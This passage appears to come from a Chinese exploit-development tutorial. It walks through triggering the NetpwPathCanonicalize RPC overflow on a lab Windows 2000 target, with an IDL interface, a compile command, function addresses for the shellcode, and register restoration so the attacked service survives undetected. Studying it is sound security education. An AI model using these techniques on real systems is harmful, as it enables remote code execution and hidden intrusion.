\n\u5982\u679c\u4f60\u7cbe\u901a\u7f51\u7edc\u534f\u8bae\uff0c\u4f60\u53ef\u4ee5\u81ea\u5df1\u6784\u9020\u6570\u636e\u5305\u50cf\u9644\u5f55\u4e2d\u7684exploit\u90a3\u6837\u5728\u5e95\u5c42\u6a21\u62dfRPC\u4f1a\u8bdd\u8fdb\u884c\u6ea2\u51fa\uff0c\u4f46\u6211\u8fd8\u6ca1\u5230Matrix\u4e2doperator\u7684\u90a3\u79cd\u5883\u754c\uff0c\u770b\u7740\u4e00\u5806\u4e8c\u8fdb\u5236\u4e32\u5c31\u77e5\u9053Nero\u5728\u91cc\u8fb9\u88ab\u4eba\u83dc\u3002\u6211\u4eec\u5728\u672c\u7ae0\u540e\u7eed\u5b9e\u9a8c\u4e2d\u5c06\u91c7\u7528Microsoft\u7684\u6807\u51c6RPC\u8c03\u7528\u65b9\u5f0f\u6765\u89e6\u53d1\u8fd9\u4e2a\u6f0f\u6d1e\u3002
\nRPC\u5373Remote Procedure Call\uff0c\u662f\u5206\u5e03\u5f0f\u8ba1\u7b97\u4e2d\u7ecf\u5e38\u7528\u5230\u7684\u6280\u672f\u3002\u7528MSDN\u91cc\u7684\u8bdd\u6765\u8bb2\uff0c\u4e24\u53f0\u8ba1\u7b97\u673a\u901a\u8baf\u8fc7\u7a0b\u4e5f\u5c31\u4e24\u79cd\u5f62\u5f0f\uff1a\u4e00\u79cd\u662f\u6570\u636e\u7684\u4ea4\u6362\uff0c\u53e6\u4e00\u79cd\u662f\u8fdb\u7a0b\u95f4\u7684\u901a\u8baf\u3002RPC\u5c31\u662f\u540e\u8005\u3002\u7b80\u5355\u8bf4\u6765\uff0cRPC\u5c31\u662f\u8ba9\u4f60\u5728\u81ea\u5df1\u7684\u7a0b\u5e8f\u4e2dCALL\u4e00\u4e2a\u51fd\u6570\uff08\u53ef\u80fd\u9700\u8981\u5f88\u5927\u7684\u8ba1\u7b97\u91cf\uff09\uff0c\u800c\u8fd9\u4e2a\u51fd\u6570\u662f\u5728\u53e6\u5916\u4e00\u4e2a\u6216\u591a\u4e2a\u8fdc\u7a0b\u673a\u5668\u4e0a\u6267\u884c\uff0c\u6267\u884c\u5b8c\u540e\u5c06\u7ed3\u679c\u4f20\u56de\u4f60\u7684\u673a\u5668\u8fdb\u884c\u540e\u7eed\u64cd\u4f5c\u3002\u8c03\u7528\u8fc7\u7a0b\u4e2d\u7684\u7f51\u7edc\u64cd\u4f5c\u5bf9\u7a0b\u5e8f\u5458\u6765\u8bf4\u662f\u900f\u660e\u7684\uff0c\u4f60\u5728\u4ee3\u7801\u91ccCALL\u8fd9\u4e2a\u8fdc\u7a0b\u51fd\u6570\u5c31\u8ddfCALL\u672c\u5730\u7684\u4e00\u4e2aprintf\uff08\uff09\u4e00\u6837\u65b9\u4fbf\uff0c\u53ea\u8981\u628a\u63a5\u53e3\u5b9a\u4e49\u597d\uff0cRPC\u4f53\u7cfb\u5c06\u66ff\u4f60\u5b8c\u6210\u7f51\u7edc\u4e0a\u94fe\u63a5\u5efa\u7acb\u3001\u4f1a\u8bdd\u63e1\u624b\u3001\u7528\u6237\u9a8c\u8bc1\u3001\u53c2\u6570\u4f20\u9012\u3001\u7ed3\u679c\u8fd4\u56de\u7b49\u7ec6\u8282\u95ee\u9898\uff0c\u8ba9\u7a0b\u5e8f\u5458\u66f4\u52a0\u5173\u6ce8\u4e8e\u7a0b\u5e8f\u7b97\u6cd5\u4e0e\u903b\u8f91\uff0c\u800c\u4e0d\u662f\u7f51\u7edc\u7ec6\u8282\u3002
\n\u6211\u4eec\u8981\u505a\u7684\u662f\u6700\u7b80\u5355\u7684\u5ba2\u6237\u7aefRPC\u8c03\u7528\uff0c\u5b9a\u4e49\u597d\u6211\u4eec\u8981\u8c03\u7528\u7684\u51fd\u6570\u7684\u63a5\u53e3\u6587\u4ef6\uff0c\u7136\u540e\u8c03\u4e00\u4e0b\u76ee\u6807\u4e3b\u673a\u7684NetpwPathCanonicalize\uff08\uff09\u51fd\u6570\uff0c\u6309\u7167\u6211\u4eec\u672c\u5730\u6ea2\u51fa\u7684\u90a3\u6837\u4f20\u8fdb\u53bb\u7cbe\u5fc3\u6784\u9020\u7684\u5305\u542bshellcode\u7684\u5b57\u7b26\u4e32\uff0c\u90a3\u4e48\u8fdc\u7a0b\u4e3b\u673a\u5728\u6267\u884c\u8fd9\u4e2a\u51fd\u6570\u7684\u65f6\u5019\u5c31\u4f1a\u6ea2\u51fa\uff0c\u5c31\u4f1a\u6267\u884c\u6211\u4eec\u7684shellcode\uff01<\/p>\n

RPC\u5ba2\u6237\u7aef\u5f00\u53d1\u6d41\u7a0b\uff08\u5f15\u81eaMSDN\uff09
\n\u5982\u56fe7\uff0c\u9996\u5148\u5e94\u5f53\u5b9a\u4e49\u8fdc\u7a0b\u8fdb\u7a0b\u7684\u63a5\u53e3IDL\u6587\u4ef6\u3002IDL\u5c31\u662fInterface Description Language\uff0c\u662f\u4e13\u95e8\u7528\u6765\u5b9a\u4e49\u63a5\u53e3\u7684\u8bed\u8a00\uff0c\u6709\u8fc7COM\u7f16\u7a0b\u7684\u670b\u53cb\u5bf9\u8fd9\u4e2a\u4e1c\u4e1c\u80af\u5b9a\u4e0d\u4f1a\u964c\u751f\u3002\u5728\u8fd9\u4e2a\u6587\u4ef6\u91cc\u6211\u4eec\u8981\u6307\u5b9aRPC\u7684interface\u4ee5\u53ca\u8fd9\u4e2ainterface\u4e0b\u7684function\u4fe1\u606f\uff0c\u5305\u62ec\u51fd\u6570\u7684\u58f0\u660e\uff0c\u53c2\u6570\u7b49\u7b49\u3002\u53e6\u5916\u5fae\u8f6f\u7684IDL\u53eb\u505aMIDL\uff0c\u662f\u517c\u5bb9IDL\u6807\u51c6\u7684\u3002
\n\u5b9a\u4e49\u597d\u7684IDL\u6587\u4ef6\u63a5\u53e3\u7ecf\u8fc7\u5fae\u8f6f\u7684MIDL\u7f16\u8bd1\u5668\u7f16\u8bd1\u540e\u4f1a\u751f\u6210\u4e09\u4e2a\u6587\u4ef6\uff0c\u4e00\u4e2a\u5ba2\u6237\u7aefstub\uff08\u4e2d\u6587\u597d\u50cf\u662f\u7ffb\u6210\u63d2\u6869\u4e48\u7801\u6869\u5565\u7684\uff09\uff0c\u4e00\u4e2a\u670d\u52a1\u7aefstub\uff0c\u8fd8\u6709\u4e00\u4e2aRPC\u8c03\u7528\u7684\u5934\u6587\u4ef6\u3002\u5176\u4e2dstub\u8d1f\u8d23RPC\u8c03\u7528\u8fc7\u7a0b\u4e2d\u6240\u6709\u7684\u7f51\u7edc\u64cd\u4f5c\u7ec6\u8282\u3002
\n\u5c06\u751f\u6210\u7684RPC\u5934\u6587\u4ef6\u5305\u542b\u5230\u4f60\u7684\u4ee3\u7801\u91cc\uff0c\u628astub\u6587\u4ef6\u6dfb\u52a0\u5230\u5de5\u7a0b\u91cc\u548c\u4f60\u7684\u4ee3\u7801\u4e00\u8d77link\u540e\uff0c\u5c31\u53ef\u4ee5call\u5230\u8fdc\u7a0b\u673a\u5668\u4e0a\u4f60\u6307\u5b9a\u7684\u51fd\u6570\u4e86\u3002
\n\u5177\u4f53\u7684\uff0c\u6211\u4eec\u7684IDL\u6587\u4ef6\u5927\u6982\u662f\u8fd9\u6837\u7684\uff1a
\n========================================================================
\n[
\nuuid(\"4b324fc8-1670-01d3-1278-5a47bf6ee188\"),
\nversion(3.0),
\nendpoint(\"ncacn_np:[\\\\pipe\\\\browser]\")
\n]
\ninterface browser
\n{
\n\u2026\u2026
\nlong NetpwPathCanonicalize (
\n[in] [unique] [string] wchar_t * arg_00,
\n[in] [string] wchar_t * arg_01,
\n[out] [size_is(arg_03)] char * arg_02,
\n[in] [range(0, 64000)] long arg_03,
\n[in] [string] wchar_t * arg_04,
\n[in,out] long * arg_05,
\n[in] long arg_06
\n);
\n\u2026\u2026
\n}
\n\u4ee3\u78015\uff1a IDL\u4ee3\u7801\u7247\u65ad\uff0c\u5b8c\u6574\u4ee3\u7801\u89c1rpc_exploit_040.idl
\nIDL\u7684\u7b2c\u4e00\u4e2a\u90e8\u5206\u662f\u5b9a\u4e49\u63a5\u53e3\u7528\u7684\u5934\uff0c\u9700\u8981\u6307\u660eUUID\u548cendpoint\u3002\u7b80\u5355\u8bf4\u6765\uff0cUUID\u7528\u6765\u552f\u4e00\u7684\u6307\u660e\u4e00\u4e2a\u63a5\u53e3\uff0c\u6211\u4eec\u60f3\u8c03\u7528\u7684NetpwPathCanonicalize\uff08\uff09\u51fd\u6570\u5728srvsvc\u8fd9\u4e2ainterface\u4e2d\u3002\u8fd9\u4e9b\u63a5\u53e3\u7684\u6280\u672f\u8d44\u6599\u662f\u6bd4\u8f83\u5c11\u7684\uff0c\u6211\u662f\u53c2\u8003\u4e86samba\u4e0a\u9762windows\u7f51\u7edc\u7f16\u7a0b\u6280\u672f\u8d44\u6599\u624d\u67e5\u5230\u7684\u3002\u5982\u679c\u4f60\u8981\u7f16\u5199\u7f51\u7edc\u7a0b\u5e8f\u7684\u8bdd\uff0c\u4f60\u53ef\u80fd\u8981\u7ecf\u5e38\u53bbhttp:\/\/www.samba.org\u4e0a\u67e5\u76f8\u5173\u7684\u63a5\u53e3\u4fe1\u606f\u3002\u6211\u5728samba\u7684ftp\u4e0a( http:\/\/samba.org\/ftp\/unpacked\/samba4\/source\/librpc\/idl\/srvsvc.idl )\u4e0b\u8f7d\u4e86\u63a5\u53e3\u5b9a\u4e49\u6587\u4ef6srvsvc.idl\uff0c\u91cc\u8fb9\u5b9a\u4e49\u4e86\u4ecesrvsvc\u4e0b\u7684\u6240\u6709\u53ef\u4ee5\u8c03\u7528\u7684\u51fd\u6570\u4fe1\u606f\u3002\u9664\u6b64\u4ee5\u5916\uff0c\u6211\u8fd8\u6574\u7406\u4e86\u4e00\u4e9b\u5176\u4ed6\u7684RPC\u63a5\u53e3\u8d44\u6599\u4e00\u5e76\u653e\u5728\u4e86\u9644\u52a0\u8d44\u6599\u4e2d\uff0c\u60a8\u53ef\u4ee5\u5c3d\u60c5\u4eab\u7528\u3002
\n\u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0cRPC\u4f53\u7cfb\u5728\u5411\u8fdc\u7a0b\u63a5\u53e3\u6620\u5c04\u5177\u4f53\u7684\u51fd\u6570\u65f6\uff0c\u662f\u6309\u7167IDL\u91cc\u51fd\u6570\u5b9a\u4e49\u7684\u987a\u5e8f\u6765\u5b9a\u4f4d\u7684\uff0c\u800c\u4e0d\u662f\u51fd\u6570\u7684\u540d\u79f0\uff01\u770b\u9644\u4ef6\u91cc\u7684rpc_exploit_040.idl\u4f60\u4f1a\u53d1\u73b0\u5728\u5b9e\u9645\u7528\u5230\u7684\u51fd\u6570\u5b9a\u4e49\u524d\uff0c\u6211\u80e1\u4e71\u7684\u5b9a\u4e49\u4e860x1e\u4e2a\u51fd\u6570\uff0c\u6ca1\u4ec0\u4e48\u522b\u7684\u610f\u601d\uff0c\u5c31\u662f\u4e3a\u4e86\u4fdd\u8bc1\u6211\u4eec\u7684\u51fd\u6570\u5728\u7b2c0x1f\u4e2a\u3002
\n\u9664\u4e86IDL\u6211\u8fd8\u7528\u4e86\u4e00\u4e2aACF\u6587\u4ef6\u6765\u6307\u5b9a\u4e00\u4e2a\u53e5\u67c4\u3002\u60a8\u53ef\u4ee5\u7528MIDL\u7f16\u8bd1\u5668\u7f16\u8bd1\u8fd9\u4e24\u4e2a\u63a5\u53e3\u5b9a\u4e49\u6587\u4ef6rpc_exploit_040.acf\u548crpc_exploit_040.idl\u3002\u8fd9\u4e2a\u7f16\u8bd1\u5668\u88ab\u5305\u62ec\u5728VC6.0\u7684\u7ec4\u4ef6\u91cc\uff0c\u5728\u547d\u4ee4\u884c\u4e0b\u4f7f\u7528,\u8bbe\u7f6e\u597d\u6b63\u786e\u7684\u8def\u5f84\u540e\u8f93\u5165\u547d\u4ee4\uff1a
\nmidl \/acf rpc_exploit_040.acf rpc_exploit_040.idl
\n\u7f16\u8bd1\u6210\u529f\u540e,\u4f1a\u5728\u5f53\u524d\u8def\u5f84\u751f\u6210\u4e09\u4e2a\u6587\u4ef6\uff1a
\nrpc_exploit_040_s.c RPC\u670d\u52a1\u7aefstub\uff08\u6869\uff09
\nrpc_exploit_040_c.c RPC\u5ba2\u6237\u7aefstub\uff08\u6869\uff09
\nrpc_exploit_040.h RPC\u5934\u6587\u4ef6
\n\u628a\u4e24\u4e2astub\u6dfb\u52a0\u8fdb\u5de5\u7a0b\uff0c\u5934\u6587\u4ef6include\u4e0a\uff0c\u548c\u8c03\u7528\u8fdc\u7a0b\u51fd\u6570\u7684\u7a0b\u5e8f\u4e00\u8d77link\uff0c\u4f60\u5c31\u53ef\u4ee5\u8bd5\u7740\u53bb\u8c03\u7528\u8fdc\u7a0b\u4e3b\u673a\u7684NetpwPathCanonicalize\uff08\uff09\u51fd\u6570\u4e86\u3002\u4f60\u53ef\u4ee5\u53c2\u7167\u4e0b\u9644\u5f55\u4e2d\u7684rpc_exploit_040.c\u4ee3\u7801\uff0c\u4f53\u4f1a\u4e00\u4e0b\u8fdc\u7a0b\u8c03\u7528\u7684\u611f\u89c9\u3002
\n\u6700\u540e\u9700\u8981\u6ce8\u610f\u7684\u662f\u6211\u4eecIDL\u91cc\u5b9a\u4e49\u7684NetpwPathCanonicalize\uff08\uff09\u51fd\u6570\u6bd4\u6211\u4eec\u5728\u4e0a\u4e00\u7ae0\u672c\u5730\u6ea2\u51fa\u5b9e\u9a8c\u4e2d\u4f7f\u7528\u7684\u51fd\u6570\u591a\u51fa\u4e86\u4e00\u4e2a\u53c2\u6570arg_00\u3002\u8fd9\u4e2a\u53c2\u6570\u662fRPC\u52a0\u4e0a\u53bb\u7684\uff0c\u5b9e\u9645\u4e0a\u5e76\u4e0d\u4f1a\u4f20\u9012\u7ed9netapi32.dll\u91cc\u7684NetpwPathCanonicalize\uff08\uff09\u51fd\u6570\uff0c\u5728\u4f7f\u7528\u65f6\u522b\u8ba9\u5b83\u6307\u5411\u7a7a\u5c31\u884c\u4e86\uff0c\u5e76\u4e0d\u5f71\u54cd\u6211\u4eec\u7684\u5b9e\u9a8c\u3002
\n2.2 Hacking\uff0c\u8fdc\u7a0b\u653b\u51fb
\n\u770b\u5b8c\u4e0a\u4e00\u8282\u7684\u7f51\u7edc\u7f16\u7a0b\uff0c\u76f8\u4fe1\u4f60\u5df2\u7ecf\u8feb\u4e0d\u53ca\u5f85\u7684\u8981\u628a\u6211\u4eec\u7684shellcode\u9001\u5230\u8fdc\u7a0b\u673a\u5668\u4e0a\u53bb\u8bd5\u4e00\u4e0b\u770b\u770b\u80fd\u4e0d\u80fd\u51fa\u4e2aMessageBoxA\u4e86\u3002\u4f46\u662f\u9996\u5148\u5f97\u6709\u4e00\u4e2a\u88ab\u653b\u51fb\u7684\u4e3b\u673a\u3002\u5176\u5b9e\u6211\u7684\u9776\u673a\u5df2\u7ecfpatch\u8fc7\u8865\u4e01\u4e86\uff0c\u65e0\u5948\u6211\u62c6\u4e86\u786c\u76d8\u6302\u5728\u522b\u7684\u673a\u5668\u4e0a\uff0c\u7528\u5907\u4efd\u91cc\u6709\u6f0f\u6d1e\u7684netapi32.dll\u66ff\u6362\u4e86system32\u91cc\u548csystem32\\dllcache\u76ee\u5f55\u4e0b\u7684\u6709\u8865\u4e01\u7684DLL\uff0c\u7b97\u662f\u62e5\u6709\u4e86\u4e00\u4e2a\u80fd\u591f\u8fdb\u884c\u8c03\u8bd5\u7684\u73af\u5883\u3002
\n\u7565\u5fae\u4fee\u6539\u4e00\u4e0b\u4e0a\u4e00\u7ae0\u672c\u5730\u6ea2\u51fa\u4e2d\u7684\u4ee3\u7801\uff0c\u6539\u6210RPC\u7684\u8c03\u7528\uff0c\u7ed3\u679c\u9776\u673a\u5e76\u6ca1\u6709\u6309\u7167\u6211\u4eec\u9884\u60f3\u7684\u90a3\u6837\u8e66\u4e2a\u6846\u6846\u51fa\u6765\uff0c\u800c\u662f\u76f4\u63a5\u7cfb\u7edf\u5d29\u6e83\u91cd\u542f\u4e86\uff01<\/p>\n

\u8fdc\u7a0bshellcode\u6267\u884c\u51fa\u9519<\/p>\n

\u60f3\u60f3\u600e\u4e48\u56de\u4e8b\uff1f\u770b\u770b\u63d0\u793a\uff0c\u662fservices.exe\u51fa\u73b0\u7684\u5f02\u5e38\u3002\u7ed9\u9776\u673a\u6b66\u88c5\u4e0aVC6.0\u548cOLLYDBG\uff0c\u7528OLLYDBG\u76f4\u63a5attach\u5230service\u8fdb\u7a0b\u4e0a\uff0cctr+g\u5230NetpwPathCanonicalize\uff08\uff09\u7684\u5165\u53e3\uff0c\u6309F2\u4e0b\u4e2a\u65ad\u70b9\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u5728\u8fdc\u7a0b\u673a\u4e0a\u8c03\u8bd5\u4e86\u3002
\n\u8ddf\u8e2a\u8fdb\u53bb\u4e0d\u96be\u53d1\u73b0\uff0c\u95ee\u9898\u51fa\u5728shellcode\u91cc\u8c03\u7528\u7684\u90a3\u4e24\u4e2a\u51fd\u6570\u7684\u5730\u5740\u4e0a\uff0c\u6211\u8fd9\u91cc\u8c03\u8bd5\u7528\u7684\u662fXP SP2\uff0c\u9776\u673a\u662fWIN2000 SP4\uff0c\u4e0d\u7ba1\u662fuser32.dll\u8fd8\u662fkernel.dll\u90fd\u5dee\u4e86\u8001\u8fdc\uff0c\u6240\u4ee5\u8981\u91cd\u65b0\u8ba1\u7b97\u51fd\u6570\u5730\u5740\uff0c\u6bd4\u5982\u5728\u6211\u7684\u5b9e\u9a8c\u73af\u5883\u4e2d\uff1a
\n\u51fd\u6570\u540d \u57fa\u5740\uff082000\uff09 \u504f\u79fb\u91cf\uff082000\uff09 RVA\uff082000\uff09 RVA(XP)
\nBeep 0x7C570000 0x0000D4E1 0x7C57D4E1 0x7C837A77
\nMessageBoxA 0x77E10000 0x00003D81 0x77E13D81 0x77D504EA
\nExitProcess 0x7C570000 0x000269DA 0x7C5969DA 0x7C81CDDA
\n\u5728shellcode\u4e2d\u7684\u76f8\u5e94\u4f4d\u7f6e\u4fee\u6539\u4e00\u4e0b\u51fd\u6570\u5730\u5740\uff0c\u8d76\u5feb\u5f80\u5916\u53d1\u5427\uff01\u6211\u5f53\u65f6\u5728VC\u91cc\u70b9\u611f\u53f9\u53f7\u8fd0\u884c\u7684\u65f6\u5019\u5c31\u50cf\u661f\u77e2\u5bf9\u6ce2\u58eb\u987f\u5c04\u9ec4\u91d1\u7bad\u7684\u5fc3\u60c5\u4e00\u6837\u5145\u6ee1\u4e86\u5584\u826f\u7f8e\u597d\u7684\u671f\u671b\uff0c\u80cc\u8d1f\u4e86\u7ef4\u62a4\u4e16\u754c\u548c\u5e73\u7684\u91cd\u4efb\uff0c\u4e3a\u4e86\u81ea\u7531\u4e3a\u4e86\u4eb2\u4eba\u4e3a\u4e86\u670b\u53cb\u4e3a\u4e86\u7231\u800c\u8ba9\u5b83\u8fd0\u884c\u3002
\n\u7ed3\u679c\u5f88\u4e0d\u5e78\uff0c\u9776\u673a\u5e76\u6ca1\u6709\u5f39\u51fa\u6211\u4eec\u5e0c\u671b\u7684BOX\uff0c\u4f46\u662f\u4e5f\u6ca1\u6709\u50cf\u524d\u9762\u653b\u51fb\u5931\u8d25\u90a3\u6837\u641e\u7684\u7cfb\u7edf\u5d29\u6e83\u800c\u91cd\u542f\u3002\u5982\u679c\u4f60\u6709\u58f0\u5361\u8fde\u7740\u97f3\u54cd\u7684\u8bdd\uff0c\u4f60\u5e94\u8be5\u80fd\u542c\u5230\u4e00\u58f0MessageBox\u5f39\u51fa\u65f6\u90a3\u719f\u6089\u7684\u201c\u549a\u201d\u7684\u4e00\u58f0\uff1b\u5982\u679c\u6ca1\u6709\u58f0\u5361\u7684\u8bdd\u4e3b\u677f\u4e5f\u4f1a\u201c\u5600\u201d\u4e00\u4e0b\u7684\u3002\u7528OLLYDBG\u8ddf\u8e2a\u8c03\u8bd5\u4e00\u4e0b\uff0c\u53d1\u73b0\u7a0b\u5e8f\u5982\u6211\u4eec\u8bbe\u8ba1\u7684\u90a3\u6837\u5728\u51fd\u6570\u8fd4\u56de\u65f6\u6267\u884c\u4e86call ecx\uff0c\u7136\u540e\u987a\u7740shellcode\u6267\u884c\uff0c\u4f46\u5230\u4e86call MessageBoxA\u7684\u65f6\u5019\uff0c\u65e0\u6cd5\u8fd4\u56de\uff0c\u7a0b\u5e8f\u6302\u8d77\u4e86\u3002\u6211\u8ddf\u8e2a\u8fdbMessageBoxA\u8fd9\u4e2a\u8c03\u7528\u5230\u6700\u5e95\u5c42\uff0c\u5927\u6982\u662f\u5728\u83b7\u5f97\u6700\u9876\u7aef\u7a97\u53e3\u53e5\u67c4\u7684\u65f6\u5019\u51fa\u7684\u95ee\u9898\u3002\u4e0d\u505c\u7684\u53d1\u6ea2\u51fa\u653b\u51fb\uff0c\u5728\u9776\u673a\u7684\u4efb\u52a1\u7ba1\u7406\u5668\u91cc\u770bservice.exe\u8fd9\u4e2a\u8fdb\u7a0b\u4f1a\u4e0d\u505c\u7684\u589e\u52a0\u5185\u5b58\u4f7f\u7528\uff0c\u540c\u65f6\u4e5f\u4e0d\u505c\u7684\u201c\u549a\u549a\u201d\u6216\u8005\u201c\u5600\u5600\u201d\u3002
\n\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f \u6211\u89c9\u5f97\u8fd9\u4e2a\u73b0\u8c61\u53ef\u4ee5\u8fd9\u6837\u89e3\u91ca\uff1a\u7531\u4e8e\u6211\u4eec\u6ea2\u51fa\u7684\u8fdb\u7a0bservice.exe\u662f\u4e00\u4e2a\u670d\u52a1\uff0c\u670d\u52a1\u662f\u4e0d\u548c\u7528\u6237\u754c\u9762\u6253\u4ea4\u9053\u7684\uff0c\u5728\u7528\u6237\u767b\u5f55\u64cd\u4f5c\u7cfb\u7edf\u4e4b\u524d\u5c31\u5df2\u7ecf\u5f00\u59cb\u5728\u540e\u53f0\u8fd0\u884c\u4e86\uff0c\u867d\u7136\u5b83\u4e5f\u52a0\u8f7duser32.dll\uff0c\u4f46\u662f\u5728\u771f\u6b63\u6d89\u53ca\u5230UI\u7684\u65f6\u5019\uff0c\u5b83\u751a\u81f3\u65e0\u6cd5\u77e5\u9053\u8981\u628a\u8fd9\u4e2a\u6846\u6846pop\u5230\u54ea\u4e2a\u7528\u6237\u7684\u684c\u9762\u4e0a\u3002\u6240\u4ee5\u8bf4\u8fd9\u91cc\u6211\u4eec\u5b9e\u9645\u4e0a\u5df2\u7ecf\u653b\u51fb\u6210\u529f\u4e86\uff0cMessageBox\u662f\u8e0f\u8e0f\u5b9e\u5b9e\u7684\u5f39\u51fa\u6765\u4e86\uff0c\u90a3\u4e00\u4e0b\u201c\u549a\u201d\u6216\u8005\u201c\u5600\u201d\u53ef\u4ee5\u4f5c\u8bc1\uff0c\u7cfb\u7edf\u6ca1\u6709\u5d29\u6e83\u53ef\u4ee5\u4f5c\u8bc1\u3002OLLYDBG\u8c03\u8bd5\u65f6\u7a0b\u5e8f\u6302\u8d77\u5e94\u8be5\u662f\u6846\u6846\u5f39\u51fa\u6765\uff0c\u7b49\u5f85\u9f20\u6807\u70b9\u51fb\u201c\u786e\u5b9a\u201d\u6309\u94ae\u7684\u6d88\u606f\uff0c\u4ee5\u4fbf\u9000\u51fa\u51fd\u6570\u8c03\u7528\uff0c\u800c\u8fd9\u4e2a\u6846\u6846\u53c8\u4e0d\u77e5\u9053\u5f39\u5230\u54ea\u91cc\u53bb\u4e86\uff0c\u663e\u793a\u4e0d\u5728\u684c\u9762\u4e0a\uff0c\u6240\u4ee5\u6211\u4eec\u6ca1\u529e\u6cd5\u70b9\u6309\u94ae\uff0c\u4e5f\u5c31\u81ea\u7136\u9000\u4e0d\u51fa\u51fd\u6570\u8c03\u7528\u4e86\uff0c\u8fd9\u4e5f\u89e3\u91ca\u4e86service.exe\u5f88\u6709\u89c4\u5f8b\u7684\u4e0d\u65ad\u589e\u52a0\u5185\u5b58\u4f7f\u7528\u7684\u73b0\u8c61\u3002
\n\u7efc\u4e0a\uff0c\u7ed3\u5408RPC\u8c03\u7528\u7f16\u7a0b\u548c\u672c\u5730\u6ea2\u51fa\u5b9e\u9a8c\u4e2d\u7684\u6280\u672f\uff0c\u6211\u4eec\u5df2\u7ecf\u53ef\u4ee5\u8ba9\u8fdc\u7a0b\u76ee\u6807\u673a\u6267\u884c\u4efb\u610f\u7684\u4ee3\u7801\u4e86\uff08\u867d\u7136\u53ea\u542c\u5230\u54cd\u58f0\u6ca1\u770b\u5230\u6846\u6846\uff09\u3002
\n2.3 \u8e0f\u96ea\u65e0\u75d5\uff0c\u5bc4\u5b58\u5668\u72b6\u6001\u7684\u6062\u590d
\n\u5982\u679c\u4f60\u662f\u4e00\u4e2a\u771f\u6b63\u7684hacker\uff0c\u90a3\u4e48\u5bf9\u4f60\u6765\u8bf4\u6700\u91cd\u8981\u7684\u662f\u6084\u65e0\u58f0\u606f\u7684\u63a7\u5236\u800c\u4e0d\u662f\u821e\u5200\u5f04\u67aa\u7684\u7834\u574f\u3002\u56de\u60f3\u4e00\u4e0b\u6211\u4eec\u7684shellcode\u5728\u9000\u51fa\u65f6\u8c03\u7528\u4e86exit\uff08\uff09\uff0c\u5982\u679c\u7cfb\u7edf\u670d\u52a1\u8fdb\u7a0bservice.exe \u9000\u51fa\u4e86\u4f1a\u5bf9\u64cd\u4f5c\u7cfb\u7edf\u4ea7\u751f\u4ec0\u4e48\u5f71\u54cd\uff1f\u4e0a\u4e00\u8282\u4e2d\u4e4b\u6240\u4ee5\u7cfb\u7edf\u6ca1\u6709\u5d29\u6e83\u662f\u56e0\u4e3a\u7a0b\u5e8f\u505c\u5728\u4e86MessageBoxA\u7684\u8c03\u7528\u4e0a\uff0c\u7b49\u5f85\u6211\u4eec\u53bb\u70b9\u51fb\u201c\u786e\u5b9a\u201d\u6309\u94ae\uff0c\u8981\u662f\u771f\u7684\u70b9\u4e0a\u4e86\u7cfb\u7edf\u4e0d\u5d29\u624d\u602a\u5462\u3002
\n\u76f8\u4fe1\u80fd\u591f\u628a\u5b9e\u9a8c\u505a\u5230\u73b0\u5728\u8fd9\u4e2a\u7a0b\u5ea6\u7684\u4f60\u4e00\u5b9a\u4e0d\u4f1a\u7518\u5fc3\u4e8e\u4e00\u4e2a\u6bdb\u624b\u6bdb\u811a\u7684\u65e0\u6cd5\u6b63\u5e38\u9000\u51fa\u7684\u653b\u51fb\uff0c\u8fd9\u5c31\u597d\u6bd4\u505a\u8d3c\u505a\u7684\u50cf\u300a\u75af\u72c2\u7684\u77f3\u5934\u300b\u91cc\u90a3\u4e2a\u62ff\u6994\u5934\u62a2\u9762\u5305\u7684\u54e5\u4eec\u513f\u4e00\u6837\u4e0d\u591f\u4e13\u4e1a\u3002\u4e13\u4e1a\u7684\u5165\u4fb5\u5e94\u5f53\u201c\u968f\u98ce\u6f5c\u5165\u591c\uff0c\u6da6\u7269\u7ec6\u65e0\u58f0\u201d\u3002\u4e0b\u9762\u6211\u4eec\u5c31\u6765\u8bf4\u8bf4\u600e\u6837\u5728\u6ea2\u51fa\u7ed3\u675f\u540e\u6062\u590d\u5230\u539f\u8fdb\u7a0b\u7684\u6b63\u5e38\u6267\u884c\uff0c\u8ba9shellcode\u505a\u5230\u8e0f\u96ea\u65e0\u75d5\uff01
\n\u51fd\u6570\u8fd4\u56de\u662f\u901a\u8fc7ret\u65f6\u4e09\u4e2a\u91cd\u8981\u7684\u5bc4\u5b58\u5668EBP\uff0cEIP\uff0cESP\u7684\u5185\u5bb9\u6765\u5b9e\u73b0\u7684\uff0c\u53ea\u8981\u5728shellcode\u7ed3\u675f\u65f6\u6062\u590d\u8fd9\u4e09\u4e2a\u5bc4\u5b58\u5668\u7684\u5185\u5bb9\uff0c\u5c31\u53ef\u4ee5\u8ba9\u51fd\u6570\u6b63\u5e38\u8fd4\u56de
\n\u770b\u4e00\u4e0b\u6ea2\u51fa\u65f6\u8fd9\u51e0\u4e2a\u5bc4\u5b58\u5668\u7684\u60c5\u51b5\uff1a
\nEBP \u6307\u5411\u524d\u4e00\u4e2a\u8c03\u7528\u7684\u6808\u5e95\uff0c\u6ea2\u51fa\u65f6\u88ab\u6211\u4eec\u7834\u574f
\nEIP \u6307\u5411\u51fd\u6570\u8c03\u7528\u7684\u4e0b\u4e00\u6761\u6307\u4ee4\u7684\u5730\u5740\uff0c\u88ab\u6211\u4eec\u66ff\u6362\u6210call ecx\u7684\u5730\u5740
\nESP \u6307\u5411\u524d\u4e00\u4e2a\u8c03\u7528\u7684\u6808\u9876\uff0c\u5728\u672c\u5b9e\u9a8c\u7684exploit\u4e2d\u5e76\u6ca1\u6709\u88ab\u7834\u574f
\n\u51fd\u6570\u8c03\u7528\u7684\u4e0b\u4e00\u6761\u6307\u4ee4\u5730\u5740\u6211\u4eec\u53ef\u4ee5\u5728OLLYDBG\u4e2d\u770b\u5230\u662f0x7517F85B\u3002\u8fd9\u662fDLL\u4e2d\u4ee3\u7801\u6bb5\u4e2d\u7684\u6b7b\u5730\u5740\uff0c\u53ef\u4ee5\u8ba9shellcode\u7684\u6700\u540e\u4e00\u6761\u6307\u4ee4\u76f4\u63a5jmp\u8fc7\u53bb\u3002
